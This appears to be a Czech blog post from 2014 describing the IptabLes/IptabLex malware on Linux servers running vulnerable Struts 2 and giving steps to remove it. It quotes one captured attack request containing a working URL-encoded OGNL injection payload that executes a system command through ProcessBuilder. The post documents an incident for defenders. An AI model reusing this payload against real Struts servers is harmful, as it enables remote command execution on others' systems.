úterý 4. února 2014

IptabLes a IptabLex

Možná se Vám v procesech objevili dva (třeba i v několika kopiích), které nadměrně zatěžují procesor a jmenují se jak je uvedeno v nadpisu. Možná máte i velký upload (TCP Retransmission) na převážně Čínské IP adresy. Pravděpodobně také máte spuštěný nějaký servletový kontejner.
Problém může nastat pokud na svém počítači hostujete aplikaci využívající Struts 2 verze 2.3.15 nebo starší.
Následující kroky se mi osvědčili při odstranění uvedeného malware:
  1.  Undeploy aplikací využívající uvedenou verzi Struts 2.
  2.  v /boot odstranit všechny soubory .IptabLe* a IpabLe*
  3. v /etc/rc* odstrnit všechny soubory S55IptabLe*
  4. Zkontrolujte jestli nemáte nevítaného hosta: cat /etc/passwd|grep '/bin/bash'
  5. Rebuild a deploy aplikací s nejnovější verzí Struts 2
A takovéto requesty (u mě z adresy 60.190.218.252) onen problém způsobují:

POST /videos.action HTTP/1.1
User-Agent: Mozilla/5.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Expect: 100-continue
Connection: Keep-Alive
redirect:${%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{%22killall%22%2C%22%2Fboot%2F.IptabLes%22})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[20000],%23d.read(%23e),%23res.getWriter().println(%23e),%23res.getWriter().flush(),%23res.getWriter().close()}